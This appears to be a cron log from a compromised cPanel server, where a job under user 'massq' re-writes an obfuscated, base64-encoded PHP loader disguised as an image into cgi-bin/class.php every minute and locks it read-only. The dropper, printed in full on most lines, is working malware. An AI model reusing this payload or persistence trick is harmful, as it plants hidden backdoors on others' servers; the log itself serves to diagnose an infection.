Sep 11 13:20:01 server CROND[23115]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 13:20:01 server CROND[23124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:20:01 server CROND[23123]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:20:01 server CROND[23129]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:20:01 server CROND[23128]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 13:20:01 server CROND[23130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:20:01 server CROND[23125]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 13:21:01 server CROND[23963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:21:01 server CROND[23964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:21:01 server CROND[23965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:22:01 server CROND[24364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:22:01 server CROND[24365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:22:01 server CROND[24367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:23:01 server CROND[24856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:23:01 server CROND[24857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:23:01 server CROND[24858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:24:01 server CROND[25298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:24:01 server CROND[25297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:24:01 server CROND[25299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:25:01 server CROND[25698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:25:01 server CROND[25700]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 13:25:01 server CROND[25701]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:25:01 server CROND[25703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:25:01 server CROND[25702]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:25:01 server CROND[25704]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 13:25:01 server CROND[25705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:26:01 server CROND[26550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:26:01 server CROND[26551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:26:01 server CROND[26552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:27:01 server CROND[26938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:27:01 server CROND[26940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:27:01 server CROND[26939]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 13:27:01 server CROND[26941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:28:01 server CROND[27424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:28:01 server CROND[27425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:28:01 server CROND[27426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:29:01 server CROND[27809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:29:01 server CROND[27810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:29:01 server CROND[27808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:30:01 server CROND[28193]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 13:30:01 server CROND[28194]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 13:30:01 server CROND[28196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:30:01 server CROND[28195]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:30:01 server CROND[28200]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 13:30:01 server CROND[28205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:30:01 server CROND[28204]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:30:01 server CROND[28211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:31:01 server CROND[29024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:31:01 server CROND[29025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:31:01 server CROND[29026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
